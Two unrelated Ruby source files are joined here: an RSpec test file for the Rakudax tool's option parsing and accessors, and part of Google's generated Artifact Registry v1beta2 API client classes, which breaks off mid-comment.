#reader functions
#self.logging, self.debug, self.output_type, self.threads
#self.dbconfig, self.env, self.models
context "reader function" do
before(:all) do
[:@@logging, :@@debug, :@@output_type, :@@threads, :@@dbconfig, :@@env, :@@models].each do |class_variable|
if Rakudax::Base.class_variable_defined? class_variable
Rakudax::Base.remove_class_variable class_variable
end
end
end
[
["logging", false],
["debug", false],
["output_type", "json"],
["threads", 1],
["dbconfig", {}],
["env", "production"],
["models", {}]
].each do |test_func, default_value|
it "Base.#{test_func}'s default value is correct." do
expect(Rakudax::Base.send(test_func)).to eq default_value
end
end
end
#writter and reader functions
#self.im_path=, self.mods_path=, self.verify_path=
#self.settings_path=
context "accessor function" do
before(:all) do
[:@@im_path, :@@mods_path, :@@verify_path, :@@settings_path].each do |class_variable|
if Rakudax::Base.class_variable_defined? class_variable
Rakudax::Base.remove_class_variable class_variable
end
end
end
[
["im_path", nil, Pathname.pwd.join("dist").join("intermediate_files")],
["im_path", "./", Pathname.pwd],
["im_path", Pathname.pwd, Pathname.pwd],
["mods_path", nil, nil],
["mods_path", "./", Pathname.pwd],
["mods_path", Pathname.pwd, Pathname.pwd],
["verify_path", nil, Pathname.pwd.join("dist").join("verify")],
["verify_path", "./", Pathname.pwd],
["verify_path", Pathname.pwd, Pathname.pwd],
["settings_path", nil, nil],
["settings_path", "./", Pathname.pwd],
["settings_path", Pathname.pwd, Pathname.pwd],
].each do |read_func, received_value, read_value|
test_func = "#{read_func}="
it "Base.#{test_func}'s set value is correct." do
Rakudax::Base.send test_func, received_value unless received_value.nil?
expect(Rakudax::Base.send(read_func)).to eq read_value
end
end
end
#self.parse_options
context "Base.parse_options" do
before(:each) do
$stdout = File.open(File::NULL, "w")
end
after(:each) do
$stdout = STDOUT
end
it "exit patterns" do
[
[
2, # exit code
[
[], # argv is empty
["generate", "--unknown"]
]
],
[
1, # exit code
[
["unknown"], #unknown control
["generate", "--database", "./notfoundconfigfile.tmp"],
["generate", "--threads", "0"]
]
],
[
0, # exit code
[
["--help"],
["-h"],
["generate", "--help"],
["generate", "-h"]
]
]
].each do |code, argvs|
argvs.each do |argv|
begin
Rakudax::Base.parse_options argv
rescue SystemExit => ex
expect(ex.status).to eq code
else
expect(true).to eq false
end
end
end
end
it "work fine patterns" do
argv_base = ["generate", "--database", "spec/files/config/database.yml"]
[
{
argv: argv_base.dup.push("--debug"),
method: "debug",
value: true
},
{
argv: argv_base,
method: "dbconfig",
klass: Hash
},
{
argv: argv_base.dup.push("--setting", "spec/files/config/generate.yml"),
method: "settings_path",
value: Pathname.pwd.join("spec/files/config/generate.yml")
},
{
argv: argv_base.dup.push("--modules", "spec/files/mods_generate"),
method: "mods_path",
value: Pathname.pwd.join("spec/files/mods_generate")
},
{
argv: argv_base.dup.push("--intermediate", "spec/tmp/dist/im"),
method: "im_path",
value: Pathname.pwd.join("spec/tmp/dist/im")
},
{
argv: argv_base.dup.push("--verify", "spec/tmp/dist/vf"),
method: "verify_path",
value: Pathname.pwd.join("spec/tmp/dist/vf")
},
{
argv: argv_base.dup.push("--env", "rakuda"),
method: "env",
value: "rakuda"
},
{
argv: argv_base.dup.push("--threads", "2"),
method: "threads",
value: 2
},
{
argv: argv_base.dup.push("--logging"),
method: "logging",
value: true
},
{
argv: argv_base.dup.push("--yaml"),
method: "output_type",
value: "yaml"
}
].each do |test|
Rakudax::Base.parse_options test[:argv]
if test.keys.include?(:value)
expect(Rakudax::Base.send(test[:method])).to eq test[:value]
end
if test.keys.include?(:klass)
expect(Rakudax::Base.send(test[:method]).class).to eq test[:klass]
end
end
end
end
end
| 28.907317
| 113
| 0.539656
|
281c0e1b9e9407aaebd575487b1ce844f97dd489
| 58,671
|
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'date'
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module ArtifactregistryV1beta2
# A detailed representation of an Apt artifact. Information in the record is
# derived from the archive's control file. See https://www.debian.org/doc/debian-
# policy/ch-controlfields.html
class AptArtifact
include Google::Apis::Core::Hashable
# Output only. Operating system architecture of the artifact.
# Corresponds to the JSON property `architecture`
# @return [String]
attr_accessor :architecture
# Output only. Repository component of the artifact.
# Corresponds to the JSON property `component`
# @return [String]
attr_accessor :component
# Output only. Contents of the artifact's control metadata file.
# Corresponds to the JSON property `controlFile`
# NOTE: Values are automatically base64 encoded/decoded in the client library.
# @return [String]
attr_accessor :control_file
# Output only. The Artifact Registry resource name of the artifact.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# Output only. The Apt package name of the artifact.
# Corresponds to the JSON property `packageName`
# @return [String]
attr_accessor :package_name
# Output only. An artifact is a binary or source package.
# Corresponds to the JSON property `packageType`
# @return [String]
attr_accessor :package_type
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@architecture = args[:architecture] if args.key?(:architecture)
@component = args[:component] if args.key?(:component)
@control_file = args[:control_file] if args.key?(:control_file)
@name = args[:name] if args.key?(:name)
@package_name = args[:package_name] if args.key?(:package_name)
@package_type = args[:package_type] if args.key?(:package_type)
end
end
# Associates `members`, or principals, with a `role`.
class Binding
include Google::Apis::Core::Hashable
# Represents a textual expression in the Common Expression Language (CEL) syntax.
# CEL is a C-like expression language. The syntax and semantics of CEL are
# documented at https://github.com/google/cel-spec. Example (Comparison): title:
# "Summary size limit" description: "Determines if a summary is less than 100
# chars" expression: "document.summary.size() < 100" Example (Equality): title: "
# Requestor is owner" description: "Determines if requestor is the document
# owner" expression: "document.owner == request.auth.claims.email" Example (
# Logic): title: "Public documents" description: "Determine whether the document
# should be publicly visible" expression: "document.type != 'private' &&
# document.type != 'internal'" Example (Data Manipulation): title: "Notification
# string" description: "Create a notification string with a timestamp."
# expression: "'New message received at ' + string(document.create_time)" The
# exact variables and functions that may be referenced within an expression are
# determined by the service that evaluates it. See the service documentation for
# additional information.
# Corresponds to the JSON property `condition`
# @return [Google::Apis::ArtifactregistryV1beta2::Expr]
attr_accessor :condition
# Specifies the principals requesting access for a Cloud Platform resource. `
# members` can have the following values: * `allUsers`: A special identifier
# that represents anyone who is on the internet; with or without a Google
# account. * `allAuthenticatedUsers`: A special identifier that represents
# anyone who is authenticated with a Google account or a service account. * `
# user:`emailid``: An email address that represents a specific Google account.
# For example, `alice@example.com` . * `serviceAccount:`emailid``: An email
# address that represents a service account. For example, `my-other-app@appspot.
# gserviceaccount.com`. * `group:`emailid``: An email address that represents a
# Google group. For example, `admins@example.com`. * `deleted:user:`emailid`?uid=
# `uniqueid``: An email address (plus unique identifier) representing a user
# that has been recently deleted. For example, `alice@example.com?uid=
# 123456789012345678901`. If the user is recovered, this value reverts to `user:`
# emailid`` and the recovered user retains the role in the binding. * `deleted:
# serviceAccount:`emailid`?uid=`uniqueid``: An email address (plus unique
# identifier) representing a service account that has been recently deleted. For
# example, `my-other-app@appspot.gserviceaccount.com?uid=123456789012345678901`.
# If the service account is undeleted, this value reverts to `serviceAccount:`
# emailid`` and the undeleted service account retains the role in the binding. *
# `deleted:group:`emailid`?uid=`uniqueid``: An email address (plus unique
# identifier) representing a Google group that has been recently deleted. For
# example, `admins@example.com?uid=123456789012345678901`. If the group is
# recovered, this value reverts to `group:`emailid`` and the recovered group
# retains the role in the binding. * `domain:`domain``: The G Suite domain (
# primary) that represents all the users of that domain. For example, `google.
# com` or `example.com`.
# Corresponds to the JSON property `members`
# @return [Array<String>]
attr_accessor :members
# Role that is assigned to the list of `members`, or principals. For example, `
# roles/viewer`, `roles/editor`, or `roles/owner`.
# Corresponds to the JSON property `role`
# @return [String]
attr_accessor :role
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@condition = args[:condition] if args.key?(:condition)
@members = args[:members] if args.key?(:members)
@role = args[:role] if args.key?(:role)
end
end
# A generic empty message that you can re-use to avoid defining duplicated empty
# messages in your APIs. A typical example is to use it as the request or the
# response type of an API method. For instance: service Foo ` rpc Bar(google.
# protobuf.Empty) returns (google.protobuf.Empty); ` The JSON representation for
# `Empty` is empty JSON object ````.
class Empty
include Google::Apis::Core::Hashable
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
end
end
# Represents a textual expression in the Common Expression Language (CEL) syntax.
# CEL is a C-like expression language. The syntax and semantics of CEL are
# documented at https://github.com/google/cel-spec. Example (Comparison): title:
# "Summary size limit" description: "Determines if a summary is less than 100
# chars" expression: "document.summary.size() < 100" Example (Equality): title: "
# Requestor is owner" description: "Determines if requestor is the document
# owner" expression: "document.owner == request.auth.claims.email" Example (
# Logic): title: "Public documents" description: "Determine whether the document
# should be publicly visible" expression: "document.type != 'private' &&
# document.type != 'internal'" Example (Data Manipulation): title: "Notification
# string" description: "Create a notification string with a timestamp."
# expression: "'New message received at ' + string(document.create_time)" The
# exact variables and functions that may be referenced within an expression are
# determined by the service that evaluates it. See the service documentation for
# additional information.
class Expr
include Google::Apis::Core::Hashable
# Optional. Description of the expression. This is a longer text which describes
# the expression, e.g. when hovered over it in a UI.
# Corresponds to the JSON property `description`
# @return [String]
attr_accessor :description
# Textual representation of an expression in Common Expression Language syntax.
# Corresponds to the JSON property `expression`
# @return [String]
attr_accessor :expression
# Optional. String indicating the location of the expression for error reporting,
# e.g. a file name and a position in the file.
# Corresponds to the JSON property `location`
# @return [String]
attr_accessor :location
# Optional. Title for the expression, i.e. a short string describing its purpose.
# This can be used e.g. in UIs which allow to enter the expression.
# Corresponds to the JSON property `title`
# @return [String]
attr_accessor :title
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@description = args[:description] if args.key?(:description)
@expression = args[:expression] if args.key?(:expression)
@location = args[:location] if args.key?(:location)
@title = args[:title] if args.key?(:title)
end
end
# Files store content that is potentially associated with Packages or Versions.
class GoogleDevtoolsArtifactregistryV1beta2File
include Google::Apis::Core::Hashable
# The time when the File was created.
# Corresponds to the JSON property `createTime`
# @return [String]
attr_accessor :create_time
# The hashes of the file content.
# Corresponds to the JSON property `hashes`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::HashProp>]
attr_accessor :hashes
# The name of the file, for example: "projects/p1/locations/us-central1/
# repositories/repo1/files/a%2Fb%2Fc.txt". If the file ID part contains slashes,
# they are escaped.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# The name of the Package or Version that owns this file, if any.
# Corresponds to the JSON property `owner`
# @return [String]
attr_accessor :owner
# The size of the File in bytes.
# Corresponds to the JSON property `sizeBytes`
# @return [Fixnum]
attr_accessor :size_bytes
# The time when the File was last updated.
# Corresponds to the JSON property `updateTime`
# @return [String]
attr_accessor :update_time
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@create_time = args[:create_time] if args.key?(:create_time)
@hashes = args[:hashes] if args.key?(:hashes)
@name = args[:name] if args.key?(:name)
@owner = args[:owner] if args.key?(:owner)
@size_bytes = args[:size_bytes] if args.key?(:size_bytes)
@update_time = args[:update_time] if args.key?(:update_time)
end
end
# A hash of file content.
class HashProp
include Google::Apis::Core::Hashable
# The algorithm used to compute the hash value.
# Corresponds to the JSON property `type`
# @return [String]
attr_accessor :type
# The hash value.
# Corresponds to the JSON property `value`
# NOTE: Values are automatically base64 encoded/decoded in the client library.
# @return [String]
attr_accessor :value
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@type = args[:type] if args.key?(:type)
@value = args[:value] if args.key?(:value)
end
end
# Error information explaining why a package was not imported.
class ImportAptArtifactsErrorInfo
include Google::Apis::Core::Hashable
# The `Status` type defines a logical error model that is suitable for different
# programming environments, including REST APIs and RPC APIs. It is used by [
# gRPC](https://github.com/grpc). Each `Status` message contains three pieces of
# data: error code, error message, and error details. You can find out more
# about this error model and how to work with it in the [API Design Guide](https:
# //cloud.google.com/apis/design/errors).
# Corresponds to the JSON property `error`
# @return [Google::Apis::ArtifactregistryV1beta2::Status]
attr_accessor :error
# Google Cloud Storage location where the artifacts currently reside.
# Corresponds to the JSON property `gcsSource`
# @return [Google::Apis::ArtifactregistryV1beta2::ImportAptArtifactsGcsSource]
attr_accessor :gcs_source
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@error = args[:error] if args.key?(:error)
@gcs_source = args[:gcs_source] if args.key?(:gcs_source)
end
end
# Google Cloud Storage location where the artifacts currently reside.
class ImportAptArtifactsGcsSource
include Google::Apis::Core::Hashable
# Cloud Storage paths URI (e.g., gs://my_bucket//my_object).
# Corresponds to the JSON property `uris`
# @return [Array<String>]
attr_accessor :uris
# Supports URI wildcards for matching multiple objects from a single URI.
# Corresponds to the JSON property `useWildcards`
# @return [Boolean]
attr_accessor :use_wildcards
alias_method :use_wildcards?, :use_wildcards
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@uris = args[:uris] if args.key?(:uris)
@use_wildcards = args[:use_wildcards] if args.key?(:use_wildcards)
end
end
# The request to import new apt artifacts.
class ImportAptArtifactsRequest
include Google::Apis::Core::Hashable
# Google Cloud Storage location where the artifacts currently reside.
# Corresponds to the JSON property `gcsSource`
# @return [Google::Apis::ArtifactregistryV1beta2::ImportAptArtifactsGcsSource]
attr_accessor :gcs_source
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@gcs_source = args[:gcs_source] if args.key?(:gcs_source)
end
end
# The response message from importing APT artifacts.
class ImportAptArtifactsResponse
include Google::Apis::Core::Hashable
# The Apt artifacts imported.
# Corresponds to the JSON property `aptArtifacts`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::AptArtifact>]
attr_accessor :apt_artifacts
# Detailed error info for packages that were not imported.
# Corresponds to the JSON property `errors`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::ImportAptArtifactsErrorInfo>]
attr_accessor :errors
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@apt_artifacts = args[:apt_artifacts] if args.key?(:apt_artifacts)
@errors = args[:errors] if args.key?(:errors)
end
end
# Error information explaining why a package was not imported.
class ImportYumArtifactsErrorInfo
include Google::Apis::Core::Hashable
# The `Status` type defines a logical error model that is suitable for different
# programming environments, including REST APIs and RPC APIs. It is used by [
# gRPC](https://github.com/grpc). Each `Status` message contains three pieces of
# data: error code, error message, and error details. You can find out more
# about this error model and how to work with it in the [API Design Guide](https:
# //cloud.google.com/apis/design/errors).
# Corresponds to the JSON property `error`
# @return [Google::Apis::ArtifactregistryV1beta2::Status]
attr_accessor :error
# Google Cloud Storage location where the artifacts currently reside.
# Corresponds to the JSON property `gcsSource`
# @return [Google::Apis::ArtifactregistryV1beta2::ImportYumArtifactsGcsSource]
attr_accessor :gcs_source
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@error = args[:error] if args.key?(:error)
@gcs_source = args[:gcs_source] if args.key?(:gcs_source)
end
end
# Google Cloud Storage location where the artifacts currently reside.
class ImportYumArtifactsGcsSource
include Google::Apis::Core::Hashable
# Cloud Storage paths URI (e.g., gs://my_bucket//my_object).
# Corresponds to the JSON property `uris`
# @return [Array<String>]
attr_accessor :uris
# Supports URI wildcards for matching multiple objects from a single URI.
# Corresponds to the JSON property `useWildcards`
# @return [Boolean]
attr_accessor :use_wildcards
alias_method :use_wildcards?, :use_wildcards
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@uris = args[:uris] if args.key?(:uris)
@use_wildcards = args[:use_wildcards] if args.key?(:use_wildcards)
end
end
# The request to import new yum artifacts.
class ImportYumArtifactsRequest
include Google::Apis::Core::Hashable
# Google Cloud Storage location where the artifacts currently reside.
# Corresponds to the JSON property `gcsSource`
# @return [Google::Apis::ArtifactregistryV1beta2::ImportYumArtifactsGcsSource]
attr_accessor :gcs_source
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@gcs_source = args[:gcs_source] if args.key?(:gcs_source)
end
end
# The response message from importing YUM artifacts.
class ImportYumArtifactsResponse
include Google::Apis::Core::Hashable
# Detailed error info for packages that were not imported.
# Corresponds to the JSON property `errors`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::ImportYumArtifactsErrorInfo>]
attr_accessor :errors
# The yum artifacts imported.
# Corresponds to the JSON property `yumArtifacts`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::YumArtifact>]
attr_accessor :yum_artifacts
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@errors = args[:errors] if args.key?(:errors)
@yum_artifacts = args[:yum_artifacts] if args.key?(:yum_artifacts)
end
end
# The response from listing files.
class ListFilesResponse
include Google::Apis::Core::Hashable
# The files returned.
# Corresponds to the JSON property `files`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::GoogleDevtoolsArtifactregistryV1beta2File>]
attr_accessor :files
# The token to retrieve the next page of files, or empty if there are no more
# files to return.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@files = args[:files] if args.key?(:files)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
end
end
# The response message for Locations.ListLocations.
class ListLocationsResponse
include Google::Apis::Core::Hashable
# A list of locations that matches the specified filter in the request.
# Corresponds to the JSON property `locations`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Location>]
attr_accessor :locations
# The standard List next-page token.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@locations = args[:locations] if args.key?(:locations)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
end
end
# The response from listing packages.
class ListPackagesResponse
include Google::Apis::Core::Hashable
# The token to retrieve the next page of packages, or empty if there are no more
# packages to return.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
# The packages returned.
# Corresponds to the JSON property `packages`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Package>]
attr_accessor :packages
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
@packages = args[:packages] if args.key?(:packages)
end
end
# The response from listing repositories.
class ListRepositoriesResponse
include Google::Apis::Core::Hashable
# The token to retrieve the next page of repositories, or empty if there are no
# more repositories to return.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
# The repositories returned.
# Corresponds to the JSON property `repositories`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Repository>]
attr_accessor :repositories
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
@repositories = args[:repositories] if args.key?(:repositories)
end
end
# The response from listing tags.
class ListTagsResponse
include Google::Apis::Core::Hashable
# The token to retrieve the next page of tags, or empty if there are no more
# tags to return.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
# The tags returned.
# Corresponds to the JSON property `tags`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Tag>]
attr_accessor :tags
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
@tags = args[:tags] if args.key?(:tags)
end
end
# The response from listing versions.
class ListVersionsResponse
include Google::Apis::Core::Hashable
# The token to retrieve the next page of versions, or empty if there are no more
# versions to return.
# Corresponds to the JSON property `nextPageToken`
# @return [String]
attr_accessor :next_page_token
# The versions returned.
# Corresponds to the JSON property `versions`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Version>]
attr_accessor :versions
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@next_page_token = args[:next_page_token] if args.key?(:next_page_token)
@versions = args[:versions] if args.key?(:versions)
end
end
# A resource that represents Google Cloud Platform location.
class Location
include Google::Apis::Core::Hashable
# The friendly name for this location, typically a nearby city name. For example,
# "Tokyo".
# Corresponds to the JSON property `displayName`
# @return [String]
attr_accessor :display_name
# Cross-service attributes for the location. For example `"cloud.googleapis.com/
# region": "us-east1"`
# Corresponds to the JSON property `labels`
# @return [Hash<String,String>]
attr_accessor :labels
# The canonical id for this location. For example: `"us-east1"`.
# Corresponds to the JSON property `locationId`
# @return [String]
attr_accessor :location_id
# Service-specific metadata. For example the available capacity at the given
# location.
# Corresponds to the JSON property `metadata`
# @return [Hash<String,Object>]
attr_accessor :metadata
# Resource name for the location, which may vary between implementations. For
# example: `"projects/example-project/locations/us-east1"`
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@display_name = args[:display_name] if args.key?(:display_name)
@labels = args[:labels] if args.key?(:labels)
@location_id = args[:location_id] if args.key?(:location_id)
@metadata = args[:metadata] if args.key?(:metadata)
@name = args[:name] if args.key?(:name)
end
end
# MavenRepositoryConfig is maven related repository details. Provides additional
# configuration details for repositories of the maven format type.
class MavenRepositoryConfig
include Google::Apis::Core::Hashable
# The repository with this flag will allow publishing the same snapshot versions.
# Corresponds to the JSON property `allowSnapshotOverwrites`
# @return [Boolean]
attr_accessor :allow_snapshot_overwrites
alias_method :allow_snapshot_overwrites?, :allow_snapshot_overwrites
# Version policy defines the versions that the registry will accept.
# Corresponds to the JSON property `versionPolicy`
# @return [String]
attr_accessor :version_policy
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@allow_snapshot_overwrites = args[:allow_snapshot_overwrites] if args.key?(:allow_snapshot_overwrites)
@version_policy = args[:version_policy] if args.key?(:version_policy)
end
end
# This resource represents a long-running operation that is the result of a
# network API call.
class Operation
include Google::Apis::Core::Hashable
# If the value is `false`, it means the operation is still in progress. If `true`
# , the operation is completed, and either `error` or `response` is available.
# Corresponds to the JSON property `done`
# @return [Boolean]
attr_accessor :done
alias_method :done?, :done
# The `Status` type defines a logical error model that is suitable for different
# programming environments, including REST APIs and RPC APIs. It is used by [
# gRPC](https://github.com/grpc). Each `Status` message contains three pieces of
# data: error code, error message, and error details. You can find out more
# about this error model and how to work with it in the [API Design Guide](https:
# //cloud.google.com/apis/design/errors).
# Corresponds to the JSON property `error`
# @return [Google::Apis::ArtifactregistryV1beta2::Status]
attr_accessor :error
# Service-specific metadata associated with the operation. It typically contains
# progress information and common metadata such as create time. Some services
# might not provide such metadata. Any method that returns a long-running
# operation should document the metadata type, if any.
# Corresponds to the JSON property `metadata`
# @return [Hash<String,Object>]
attr_accessor :metadata
# The server-assigned name, which is only unique within the same service that
# originally returns it. If you use the default HTTP mapping, the `name` should
# be a resource name ending with `operations/`unique_id``.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# The normal response of the operation in case of success. If the original
# method returns no data on success, such as `Delete`, the response is `google.
# protobuf.Empty`. If the original method is standard `Get`/`Create`/`Update`,
# the response should be the resource. For other methods, the response should
# have the type `XxxResponse`, where `Xxx` is the original method name. For
# example, if the original method name is `TakeSnapshot()`, the inferred
# response type is `TakeSnapshotResponse`.
# Corresponds to the JSON property `response`
# @return [Hash<String,Object>]
attr_accessor :response
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@done = args[:done] if args.key?(:done)
@error = args[:error] if args.key?(:error)
@metadata = args[:metadata] if args.key?(:metadata)
@name = args[:name] if args.key?(:name)
@response = args[:response] if args.key?(:response)
end
end
# Metadata type for longrunning-operations, currently empty.
class OperationMetadata
include Google::Apis::Core::Hashable
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
end
end
# Packages are named collections of versions.
class Package
include Google::Apis::Core::Hashable
# The time when the package was created.
# Corresponds to the JSON property `createTime`
# @return [String]
attr_accessor :create_time
# The display name of the package.
# Corresponds to the JSON property `displayName`
# @return [String]
attr_accessor :display_name
# The name of the package, for example: "projects/p1/locations/us-central1/
# repositories/repo1/packages/pkg1". If the package ID part contains slashes,
# the slashes are escaped.
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
# The time when the package was last updated. This includes publishing a new
# version of the package.
# Corresponds to the JSON property `updateTime`
# @return [String]
attr_accessor :update_time
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@create_time = args[:create_time] if args.key?(:create_time)
@display_name = args[:display_name] if args.key?(:display_name)
@name = args[:name] if args.key?(:name)
@update_time = args[:update_time] if args.key?(:update_time)
end
end
# An Identity and Access Management (IAM) policy, which specifies access
# controls for Google Cloud resources. A `Policy` is a collection of `bindings`.
# A `binding` binds one or more `members`, or principals, to a single `role`.
# Principals can be user accounts, service accounts, Google groups, and domains (
# such as G Suite). A `role` is a named list of permissions; each `role` can be
# an IAM predefined role or a user-created custom role. For some types of Google
# Cloud resources, a `binding` can also specify a `condition`, which is a
# logical expression that allows access to a resource only if the expression
# evaluates to `true`. A condition can add constraints based on attributes of
# the request, the resource, or both. To learn which resources support
# conditions in their IAM policies, see the [IAM documentation](https://cloud.
# google.com/iam/help/conditions/resource-policies). **JSON example:** ` "
# bindings": [ ` "role": "roles/resourcemanager.organizationAdmin", "members": [
# "user:mike@example.com", "group:admins@example.com", "domain:google.com", "
# serviceAccount:my-project-id@appspot.gserviceaccount.com" ] `, ` "role": "
# roles/resourcemanager.organizationViewer", "members": [ "user:eve@example.com"
# ], "condition": ` "title": "expirable access", "description": "Does not grant
# access after Sep 2020", "expression": "request.time < timestamp('2020-10-01T00:
# 00:00.000Z')", ` ` ], "etag": "BwWWja0YfJA=", "version": 3 ` **YAML example:**
# bindings: - members: - user:mike@example.com - group:admins@example.com -
# domain:google.com - serviceAccount:my-project-id@appspot.gserviceaccount.com
# role: roles/resourcemanager.organizationAdmin - members: - user:eve@example.
# com role: roles/resourcemanager.organizationViewer condition: title: expirable
# access description: Does not grant access after Sep 2020 expression: request.
# time < timestamp('2020-10-01T00:00:00.000Z') etag: BwWWja0YfJA= version: 3 For
# a description of IAM and its features, see the [IAM documentation](https://
# cloud.google.com/iam/docs/).
class Policy
include Google::Apis::Core::Hashable
# Associates a list of `members`, or principals, with a `role`. Optionally, may
# specify a `condition` that determines how and when the `bindings` are applied.
# Each of the `bindings` must contain at least one principal. The `bindings` in
# a `Policy` can refer to up to 1,500 principals; up to 250 of these principals
# can be Google groups. Each occurrence of a principal counts towards these
# limits. For example, if the `bindings` grant 50 different roles to `user:alice@
# example.com`, and not to any other principal, then you can add another 1,450
# principals to the `bindings` in the `Policy`.
# Corresponds to the JSON property `bindings`
# @return [Array<Google::Apis::ArtifactregistryV1beta2::Binding>]
attr_accessor :bindings
# `etag` is used for optimistic concurrency control as a way to help prevent
# simultaneous updates of a policy from overwriting each other. It is strongly
# suggested that systems make use of the `etag` in the read-modify-write cycle
# to perform policy updates in order to avoid race conditions: An `etag` is
# returned in the response to `getIamPolicy`, and systems are expected to put
# that etag in the request to `setIamPolicy` to ensure that their change will be
# applied to the same version of the policy. **Important:** If you use IAM
# Conditions, you must include the `etag` field whenever you call `setIamPolicy`.
# If you omit this field, then IAM allows you to overwrite a version `3` policy
# with a version `1` policy, and all of the conditions in the version `3` policy
# are lost.
# Corresponds to the JSON property `etag`
# NOTE: Values are automatically base64 encoded/decoded in the client library.
# @return [String]
attr_accessor :etag
# Specifies the format of the policy. Valid values are `0`, `1`, and `3`.
# Requests that specify an invalid value are rejected. Any operation that
# affects conditional role bindings must specify version `3`. This requirement
# applies to the following operations: * Getting a policy that includes a
# conditional role binding * Adding a conditional role binding to a policy *
# Changing a conditional role binding in a policy * Removing any role binding,
# with or without a condition, from a policy that includes conditions **
# Important:** If you use IAM Conditions, you must include the `etag` field
# whenever you call `setIamPolicy`. If you omit this field, then IAM allows you
# to overwrite a version `3` policy with a version `1` policy, and all of the
# conditions in the version `3` policy are lost. If a policy does not include
# any conditions, operations on that policy may specify any valid version or
# leave the field unset. To learn which resources support conditions in their
# IAM policies, see the [IAM documentation](https://cloud.google.com/iam/help/
# conditions/resource-policies).
# Corresponds to the JSON property `version`
# @return [Fixnum]
attr_accessor :version
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@bindings = args[:bindings] if args.key?(:bindings)
@etag = args[:etag] if args.key?(:etag)
@version = args[:version] if args.key?(:version)
end
end
# The Artifact Registry settings that apply to a Project.
class ProjectSettings
include Google::Apis::Core::Hashable
# The redirection state of the legacy repositories in this project.
# Corresponds to the JSON property `legacyRedirectionState`
# @return [String]
attr_accessor :legacy_redirection_state
# The name of the project's settings. Always of the form: projects/`project-id`/
# projectSettings In update request: never set In response: always set
# Corresponds to the JSON property `name`
# @return [String]
attr_accessor :name
def initialize(**args)
update!(**args)
end
# Update properties of this object
def update!(**args)
@legacy_redirection_state = args[:legacy_redirection_state] if args.key?(:legacy_redirection_state)
@name = args[:name] if args.key?(:name)
end
end
# A Repository for storing artifacts with a specific format.
class Repository
include Google::Apis::Core::Hashable
# The time when the repository was created.
# Corresponds to the JSON property `createTime`
# @return [String]
attr_accessor :create_time
# The user-provided description of the repository.
# Corresponds to the JSON property `description`
# @return [String]
attr_accessor :description
# The format of packages that are stored in the repository.
# Corresponds to the JSON property `format`
# @return [String]
attr_accessor :format
# The Cloud KMS resource name of the customer managed encryption key that's used
# to encrypt the contents of the Repository. Has the form: `projects/my-project/
# locations/my-region/keyRings/my-kr/cryptoKeys/my-key`. This value may not be
# changed after the Repository has been created.
# Corresponds to the JSON property `kmsKeyName`
# @return [String]
attr_accessor :kms_key_name
# Labels with user-defined metadata. This field may contain up to 64 entries.
# Label keys and values may be no longer than 63 characters. Label keys must
